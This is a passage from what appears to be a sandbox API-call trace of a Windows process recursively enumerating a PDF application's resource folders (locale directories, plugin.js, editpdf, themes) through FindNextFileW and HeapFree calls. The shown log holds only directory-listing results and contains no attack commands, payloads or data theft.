ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0200.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.892] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0200.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.892] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0200.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.893] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0200.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.893] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0200.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.893] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0200.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.893] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0200.893] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.893] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0200.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.894] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0200.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.894] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0200.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.894] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0200.894] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.894] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0200.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.895] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0200.895] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.895] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0200.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.896] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0200.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.896] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0200.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.896] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0200.896] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.897] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0200.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.897] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0200.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.897] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0200.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.897] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0200.897] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.897] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.898] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0200.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.898] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0200.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.898] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0200.898] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.898] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0200.898] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.898] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0200.898] FindClose (in: hFindFile=0x44207a0 | out: hFindFile=0x44207a0) returned 1 [0200.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x54b0058 | out: hHeap=0x420000) returned 1 [0200.899] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1 [0200.899] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.899] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0200.900] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.900] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0200.901] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4505f78 | out: hHeap=0x420000) returned 1 [0200.901] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0200.901] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0200.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44f5f70 | out: hHeap=0x420000) returned 1 [0200.901] FindNextFileW (in: hFindFile=0x44207a0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0200.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.901] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0200.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.901] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0200.901] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.901] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0200.902] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.902] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0200.902] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.902] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0200.902] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.902] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0200.902] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.902] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0200.902] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.902] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, 